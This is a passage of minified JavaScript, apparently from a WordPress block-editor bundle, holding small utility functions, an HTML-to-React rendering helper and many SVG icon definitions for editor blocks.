t.toString()===r.toString();if(i=Object.keys(t),a=i.length,a!==Object.keys(r).length)return!1;for(n=a;n--!==0;)if(!Object.prototype.hasOwnProperty.call(r,i[n]))return!1;for(n=a;n--!==0;){var l=i[n];if(!e(t[l],r[l]))return!1}return!0}return t!==t&&r!==r}});var Jpe=Te((_dt,Xpe)=>{Xpe.exports=window.wp.keyboardShortcuts});var I6e={};q(I6e,{__experimentalGetCoreBlocks:()=>sde,__experimentalRegisterExperimentalCoreBlocks:()=>B6e,privateApis:()=>ER,registerCoreBlocks:()=>P6e});var vl=o(U(),1),ode=o(ue(),1),ade=o(z(),1),nde=o(T(),1),ide=o(Iu(),1),fy=o(I(),1);function HR(e){var t,r,a="";if(typeof e=="string"||typeof e=="number")a+=e;else if(typeof e=="object")if(Array.isArray(e)){var n=e.length;for(t=0;t<n;t++)e[t]&&(r=HR(e[t]))&&(a&&(a+=" "),a+=r)}else for(r in e)e[r]&&(a&&(a+=" "),a+=r);return a}function Cde(){for(var e,t,r=0,a="",n=arguments.length;r<n;r++)(e=arguments[r])&&(t=HR(e))&&(a&&(a+=" "),a+=t);return a}var w=Cde;var b7=o(v7(),1),_l=o(v7(),1),Xz=b7.default.default||b7.default;var tV=o(Ri(),1),rV=o(v(),1),$fe=({wrapperProps:e={},html:t=""})=>{let r={replace:({name:i,type:l,attribs:s,parent:c,children:u})=>{if(l==="tag"&&i){let m=(0,_l.attributesToProps)(s||{}),p=i;if(!c){let d={...m,...e,className:w(m.className,e.className),style:{...m.style||{},...e.style||{}}};return(0,rV.jsx)(p,{...d,children:(0,_l.domToReact)(u,r)})}}}},a=(0,tV.safeHTML)(t);return Xz(a,r)},no=$fe;var jB={};q(jB,{init:()=>Qfe,metadata:()=>x_,name:()=>fV,settings:()=>hV});var HB=o(I(),1);var Ay=o(j(),1),Fa=(0,Ay.forwardRef)(({icon:e,size:t=24,...r},a)=>(0,Ay.cloneElement)(e,{width:t,height:t,...r,ref:a}));var y0=o(L(),1),x0=o(v(),1),y7=(0,x0.jsxs)(y0.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,x0.jsx)(y0.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19.5 12.75L9.5 12.75L9.5 11.25L19.5 11.25L19.5 12.75Z"}),(0,x0.jsx)(y0.Path,{d:"M4.5 9.5L8.5 12L4.5 14.5L4.5 9.5Z"})]});var ap=o(L(),1),np=o(v(),1),x7=(0,np.jsxs)(ap.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,np.jsx)(ap.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19.5 9.5L9.5 9.5L9.5 8L19.5 8L19.5 9.5Z"}),(0,np.jsx)(ap.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19.5 13L9.5 13L9.5 11.5L19.5 11.5L19.5 13Z"}),(0,np.jsx)(ap.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19.5 16.3999L9.5 16.3999L9.5 14.8999L19.5 14.8999L19.5 16.3999Z"}),(0,np.jsx)(ap.Path,{d:"M4.5 6.25L8.5 8.75L4.5 11.25L4.5 6.25Z"})]});var ip=o(L(),1),lp=o(v(),1),_7=(0,lp.jsxs)(ip.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,lp.jsx)(ip.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19.5 9.25L9.5 9.25L9.5 7.75L19.5 7.75L19.5 9.25Z"}),(0,lp.jsx)(ip.Path,{d:"M4.5 6L8.5 8.5L4.5 11L4.5 6Z"}),(0,lp.jsx)(ip.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M19.5 16.25L9.5 16.25L9.5 14.75L19.5 14.75L19.5 16.25Z"}),(0,lp.jsx)(ip.Path,{d:"M4.5 13L8.5 15.5L4.5 18L4.5 13Z"})]});var Ry=o(L(),1),k7=o(v(),1),sp=(0,k7.jsx)(Ry.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,k7.jsx)(Ry.Path,{d:"M2 12c0 3.6 2.4 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.5 0-4.5-1.5-4.5-4s2-4.5 4.5-4.5h3.5V6H8c-3.6 0-6 2.4-6 6zm19.5-1h-8v1.5h8V11zm0 5h-8v1.5h8V16zm0-10h-8v1.5h8V6z"})});var zy=o(L(),1),w7=o(v(),1),C7=(0,w7.jsx)(zy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,w7.jsx)(zy.Path,{d:"M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z"})});var Vy=o(L(),1),S7=o(v(),1),T7=(0,S7.jsx)(Vy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,S7.jsx)(Vy.Path,{d:"M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z"})});var Fy=o(L(),1),P7=o(v(),1),B7=(0,P7.jsx)(Fy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,P7.jsx)(Fy.Path,{d:"M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z"})});var Oy=o(L(),1),I7=o(v(),1),E7=(0,I7.jsx)(Oy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,I7.jsx)(Oy.Path,{d:"M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z"})});var Hy=o(L(),1),N7=o(v(),1),D7=(0,N7.jsx)(Hy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,N7.jsx)(Hy.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z"})});var jy=o(L(),1),L7=o(v(),1),Qn=(0,L7.jsx)(jy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L7.jsx)(jy.Path,{d:"M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z"})});var Uy=o(L(),1),M7=o(v(),1),A7=(0,M7.jsx)(Uy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,M7.jsx)(Uy.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"})});var Gy=o(L(),1),R7=o(v(),1),_0=(0,R7.jsx)(Gy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,R7.jsx)(Gy.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z"})});var Wy=o(L(),1),z7=o(v(),1),V7=(0,z7.jsx)(Wy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,z7.jsx)(Wy.Path,{d:"M4 13.5h3v-3H4v3Zm6-3.5 2 2-2 2 1 1 3-3-3-3-1 1Zm7 .5v3h3v-3h-3Z"})});var $y=o(L(),1),F7=o(v(),1),O7=(0,F7.jsx)($y.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,F7.jsx)($y.Path,{d:"M8 12.5h8V11H8v1.5Z M19 6.5H5a2 2 0 0 0-2 2V15a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V8.5a2 2 0 0 0-2-2ZM5 8h14a.5.5 0 0 1 .5.5V15a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V8.5A.5.5 0 0 1 5 8Z"})});var qy=o(L(),1),H7=o(v(),1),j7=(0,H7.jsx)(qy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,H7.jsx)(qy.Path,{d:"M14.5 17.5H9.5V16H14.5V17.5Z M14.5 8H9.5V6.5H14.5V8Z M7 3.5H17C18.1046 3.5 19 4.39543 19 5.5V9C19 10.1046 18.1046 11 17 11H7C5.89543 11 5 10.1046 5 9V5.5C5 4.39543 5.89543 3.5 7 3.5ZM17 5H7C6.72386 5 6.5 5.22386 6.5 5.5V9C6.5 9.27614 6.72386 9.5 7 9.5H17C17.2761 9.5 17.5 9.27614 17.5 9V5.5C17.5 5.22386 17.2761 5 17 5Z M7 13H17C18.1046 13 19 13.8954 19 15V18.5C19 19.6046 18.1046 20.5 17 20.5H7C5.89543 20.5 5 19.6046 5 18.5V15C5 13.8954 5.89543 13 7 13ZM17 14.5H7C6.72386 14.5 6.5 14.7239 6.5 15V18.5C6.5 18.7761 6.72386 19 7 19H17C17.2761 19 17.5 18.7761 17.5 18.5V15C17.5 14.7239 17.2761 14.5 17 14.5Z"})});var Zy=o(L(),1),U7=o(v(),1),k0=(0,U7.jsx)(Zy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,U7.jsx)(Zy.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z"})});var Ky=o(L(),1),G7=o(v(),1),W7=(0,G7.jsx)(Ky.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,G7.jsx)(Ky.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M6 5.5h12a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5ZM4 6a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6Zm4 10h2v-1.5H8V16Zm5 0h-2v-1.5h2V16Zm1 0h2v-1.5h-2V16Z"})});var Qy=o(L(),1),$7=o(v(),1),Mu=(0,$7.jsx)(Qy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,$7.jsx)(Qy.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z"})});var Yy=o(L(),1),q7=o(v(),1),w0=(0,q7.jsx)(Yy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,q7.jsx)(Yy.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})});var Xy=o(L(),1),Z7=o(v(),1),K7=(0,Z7.jsx)(Xy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Z7.jsx)(Xy.Path,{d:"m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"})});var Jy=o(L(),1),Q7=o(v(),1),Y7=(0,Q7.jsx)(Jy.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Q7.jsx)(Jy.Path,{d:"M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"})});var e2=o(L(),1),X7=o(v(),1),J7=(0,X7.jsx)(e2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,X7.jsx)(e2.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})});var t2=o(L(),1),e9=o(v(),1),C0=(0,e9.jsx)(t2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,e9.jsx)(t2.Path,{d:"M20 6H4c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H4c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h16c.3 0 .5.2.5.5v9zM10 10H8v2h2v-2zm-5 2h2v-2H5v2zm8-2h-2v2h2v-2zm-5 6h8v-2H8v2zm6-4h2v-2h-2v2zm3 0h2v-2h-2v2zm0 4h2v-2h-2v2zM5 16h2v-2H5v2z"})});var r2=o(L(),1),t9=o(v(),1),cp=(0,t9.jsx)(r2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,t9.jsx)(r2.Path,{d:"m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"})});var o2=o(L(),1),r9=o(v(),1),S0=(0,r9.jsx)(o2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r9.jsx)(o2.Path,{d:"M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z"})});var a2=o(L(),1),o9=o(v(),1),a9=(0,o9.jsx)(a2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o9.jsx)(a2.Path,{d:"M19 6H6c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zM6 17.5c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h3v10H6zm13.5-.5c0 .3-.2.5-.5.5h-3v-10h3c.3 0 .5.2.5.5v9z"})});var n2=o(L(),1),n9=o(v(),1),i9=(0,n9.jsx)(n2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n9.jsx)(n2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 7.5h-5v10h5v-10Zm1.5 0v10H19a.5.5 0 0 0 .5-.5V8a.5.5 0 0 0-.5-.5h-2.5ZM6 7.5h2.5v10H6a.5.5 0 0 1-.5-.5V8a.5.5 0 0 1 .5-.5ZM6 6h13a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2Z"})});var i2=o(L(),1),l9=o(v(),1),T0=(0,l9.jsx)(i2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,l9.jsx)(i2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z"})});var up=o(L(),1),bf=o(v(),1),s9=(0,bf.jsxs)(up.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,bf.jsx)(up.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z"}),(0,bf.jsx)(up.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 15V15C15 13.8954 14.1046 13 13 13L11 13C9.89543 13 9 13.8954 9 15V15"}),(0,bf.jsx)(up.Circle,{cx:"12",cy:"9",r:"2",fillRule:"evenodd",clipRule:"evenodd"})]});var l2=o(L(),1),c9=o(v(),1),u9=(0,c9.jsx)(l2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c9.jsx)(l2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M6.68822 16.625L5.5 17.8145L5.5 5.5L18.5 5.5L18.5 16.625L6.68822 16.625ZM7.31 18.125L19 18.125C19.5523 18.125 20 17.6773 20 17.125L20 5C20 4.44772 19.5523 4 19 4H5C4.44772 4 4 4.44772 4 5V19.5247C4 19.8173 4.16123 20.086 4.41935 20.2237C4.72711 20.3878 5.10601 20.3313 5.35252 20.0845L7.31 18.125ZM16 9.99997H8V8.49997H16V9.99997ZM8 14H13V12.5H8V14Z"})});var s2=o(L(),1),m9=o(v(),1),p9=(0,m9.jsx)(s2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,m9.jsx)(s2.Path,{d:"m6.249 11.065.44-.44h3.186l-1.5 1.5H7.31l-1.957 1.96A.792.792 0 0 1 4 13.524V5a1 1 0 0 1 1-1h8a1 1 0 0 1 1 1v1.5L12.5 8V5.5h-7v6.315l.749-.75ZM20 19.75H7v-1.5h13v1.5Zm0-12.653-8.967 9.064L8 17l.867-2.935L17.833 5 20 7.097Z"})});var c2=o(L(),1),d9=o(v(),1),f9=(0,d9.jsx)(c2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,d9.jsx)(c2.Path,{d:"M6.68822 10.625L6.24878 11.0649L5.5 11.8145L5.5 5.5L12.5 5.5V8L14 6.5V5C14 4.44772 13.5523 4 13 4H5C4.44772 4 4 4.44771 4 5V13.5247C4 13.8173 4.16123 14.086 4.41935 14.2237C4.72711 14.3878 5.10601 14.3313 5.35252 14.0845L7.31 12.125H8.375L9.875 10.625H7.31H6.68822ZM14.5605 10.4983L11.6701 13.75H16.9975C17.9963 13.75 18.7796 14.1104 19.3553 14.7048C19.9095 15.2771 20.2299 16.0224 20.4224 16.7443C20.7645 18.0276 20.7543 19.4618 20.7487 20.2544C20.7481 20.345 20.7475 20.4272 20.7475 20.4999L19.2475 20.5001C19.2475 20.4191 19.248 20.3319 19.2484 20.2394V20.2394C19.2526 19.4274 19.259 18.2035 18.973 17.1307C18.8156 16.5401 18.586 16.0666 18.2778 15.7483C17.9909 15.4521 17.5991 15.25 16.9975 15.25H11.8106L14.5303 17.9697L13.4696 19.0303L8.96956 14.5303L13.4394 9.50171L14.5605 10.4983Z"})});var u2=o(L(),1),h9=o(v(),1),P0=(0,h9.jsx)(u2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h9.jsx)(u2.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z"})});var m2=o(L(),1),g9=o(v(),1),B0=(0,g9.jsx)(m2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,g9.jsx)(m2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M8.10417 6.00024H6.5C5.39543 6.00024 4.5 6.89567 4.5 8.00024V10.3336H6V8.00024C6 7.7241 6.22386 7.50024 6.5 7.50024H8.10417V6.00024ZM4.5 13.6669V16.0002C4.5 17.1048 5.39543 18.0002 6.5 18.0002H8.10417V16.5002H6.5C6.22386 16.5002 6 16.2764 6 16.0002V13.6669H4.5ZM10.3958 6.00024V7.50024H13.6042V6.00024H10.3958ZM15.8958 6.00024V7.50024H17.5C17.7761 7.50024 18 7.7241 18 8.00024V10.3336H19.5V8.00024C19.5 6.89567 18.6046 6.00024 17.5 6.00024H15.8958ZM19.5 13.6669H18V16.0002C18 16.2764 17.7761 16.5002 17.5 16.5002H15.8958V18.0002H17.5C18.6046 18.0002 19.5 17.1048 19.5 16.0002V13.6669ZM13.6042 18.0002V16.5002H10.3958V18.0002H13.6042Z"})});var p2=o(L(),1),v9=o(v(),1),mp=(0,v9.jsx)(p2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,v9.jsx)(p2.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h6.2v8.9l2.5-3.1 2.5 3.1V4.5h2.2c.4 0 .8.4.8.8v13.4z"})});var d2=o(L(),1),b9=o(v(),1),I0=(0,b9.jsx)(d2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,b9.jsx)(d2.Path,{d:"M18 20v-2h2v-1.5H7.75a.25.25 0 0 1-.25-.25V4H6v2H4v1.5h2v8.75c0 .966.784 1.75 1.75 1.75h8.75v2H18ZM9.273 7.5h6.977a.25.25 0 0 1 .25.25v6.977H18V7.75A1.75 1.75 0 0 0 16.25 6H9.273v1.5Z"})});var f2=o(L(),1),y9=o(v(),1),E0=(0,y9.jsx)(f2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,y9.jsx)(f2.Path,{d:"M12.5 14.5h-1V16h1c2.2 0 4-1.8 4-4s-1.8-4-4-4h-1v1.5h1c1.4 0 2.5 1.1 2.5 2.5s-1.1 2.5-2.5 2.5zm-4 1.5v-1.5h-1C6.1 14.5 5 13.4 5 12s1.1-2.5 2.5-2.5h1V8h-1c-2.2 0-4 1.8-4 4s1.8 4 4 4h1zm-1-3.2h5v-1.5h-5v1.5zM18 4H9c-1.1 0-2 .9-2 2v.5h1.5V6c0-.3.2-.5.5-.5h9c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5v-.5H7v.5c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2z"})});var h2=o(L(),1),x9=o(v(),1),_9=(0,x9.jsx)(h2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,x9.jsx)(h2.Path,{d:"M4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4zm.8-4l.7.7 2-2V12h1V9.2l2 2 .7-.7-2-2H12v-1H9.2l2-2-.7-.7-2 2V4h-1v2.8l-2-2-.7.7 2 2H4v1h2.8l-2 2z"})});var N0=o(L(),1),D0=o(v(),1),k9=(0,D0.jsxs)(N0.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,D0.jsx)(N0.Path,{d:"M4 16h10v1.5H4V16Zm0-4.5h16V13H4v-1.5ZM10 7h10v1.5H10V7Z",fillRule:"evenodd",clipRule:"evenodd"}),(0,D0.jsx)(N0.Path,{d:"m4 5.25 4 2.5-4 2.5v-5Z"})]});var g2=o(L(),1),w9=o(v(),1),C9=(0,w9.jsx)(g2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,w9.jsx)(g2.Path,{d:"M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"})});var v2=o(L(),1),S9=o(v(),1),L0=(0,S9.jsx)(v2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,S9.jsx)(v2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"})});var b2=o(L(),1),T9=o(v(),1),P9=(0,T9.jsx)(b2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,T9.jsx)(b2.Path,{fillRule:"evenodd",d:"M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})});var y2=o(L(),1),B9=o(v(),1),I9=(0,B9.jsx)(y2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,B9.jsx)(y2.Path,{d:"M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM20.0303 9.03033L17.0607 12L20.0303 14.9697L18.9697 16.0303L15.4697 12.5303L14.9393 12L15.4697 11.4697L18.9697 7.96967L20.0303 9.03033Z"})});var x2=o(L(),1),E9=o(v(),1),N9=(0,E9.jsx)(x2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,E9.jsx)(x2.Path,{d:"M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-8-3.5l3 3-3 3 1 1 4-4-4-4-1 1z"})});var _2=o(L(),1),D9=o(v(),1),M0=(0,D9.jsx)(_2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,D9.jsx)(_2.Path,{d:"M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z"})});var k2=o(L(),1),L9=o(v(),1),A0=(0,L9.jsx)(k2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L9.jsx)(k2.Path,{d:"M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"})});var w2=o(L(),1),M9=o(v(),1),R0=(0,M9.jsx)(w2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,M9.jsx)(w2.Path,{d:"M3.8 15.8h8.9v-1.5H3.8v1.5zm0-7h8.9V7.2H3.8v1.6zm14.7-2.1V10h1V5.3l-2.2.7.3 1 .9-.3zm1.2 